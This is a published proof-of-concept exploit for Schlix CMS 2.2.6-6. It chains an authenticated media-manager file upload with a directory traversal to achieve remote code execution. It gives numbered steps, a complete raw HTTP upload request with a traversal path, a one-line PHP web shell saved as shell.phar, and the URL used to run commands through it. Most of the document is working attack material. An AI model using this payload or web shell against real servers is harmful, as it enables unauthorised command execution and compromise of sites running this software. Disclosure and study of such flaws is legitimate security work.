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# Exploit Title: Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated)
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# Date: 21.05.2021
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# Exploit Author: Emir Polat
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# Vendor Homepage: https://www.schlix.com/
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# Software Link: https://www.schlix.com/html/schlix-cms-downloads.html
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# Version: 2.2.6-6
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# Tested On: Ubuntu 20.04 (Firefox)
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############################################################################################################
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Summary: An authorized user can upload a file with a .phar extension
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to a path of his choice and control the content as he wishes. This causes RCE vulnerability.
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For full technical details and source code analysis:
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https://anatolias.medium.com/schlix-cms-v2-2-6-6-c17c5b2f29e.
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############################################################################################################
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PoC:
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1-) Login to admin panel with true credentials and go to "Tools ->
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Mediamanager" menu from left side.
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2-) Click the "Upload File" and upload a file and catch the request with Burp.
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3-) Change the "uploadstartpath", "filename" and file content as follows.
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# Request
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POST /schlix/admin/app/core.mediamanager?&ajax=1&action=upload HTTP/1.1
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Host: vulnerable-server
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Content-Length: 846
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X-Schlix-Ajax: 1
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X-Requested-With: XMLHttpRequest
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
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Content-Type: multipart/form-data;
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boundary=----WebKitFormBoundarybllOFLruz1WAs7K2
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Accept: */*
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Origin: http:// <http://10.211.55.4/>vulnerable-server
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Referer: http://vulnerable-server/schlix/admin/app/core.mediamanager
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<http://10.211.55.4/schlix/admin/app/core.mediamanager>
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: core-mediamanager_currentCategory=%2Fmedia%2Fpdf;
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schlix-your-cookie;__atuvc=5%7C20;
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schlix_frontendedit_control_showblock=-2;
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schlix_frontendedit_control_showhide=-2;
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schlix_frontendedit_control_showdoc=-2
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Connection: close
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="_csrftoken"
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{your_csrf_token}
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="uploadstartpath"
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/media/docs/....//....//....//....//system/images/avatars/large/
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="filedata[]"; filename="shell.phar"
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<?PHP system($_GET['rce']);?>
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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2097152
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="filedata__total_file_size"
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0
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------WebKitFormBoundarybllOFLruz1WAs7K2
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Content-Disposition: form-data; name="filedata__max_file_count"
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20
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------WebKitFormBoundarybllOFLruz1WAs7K2--
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4-) Go to "vulnerable-server/schlix/system/images/avatars/large/shell.phar?rce=ls". |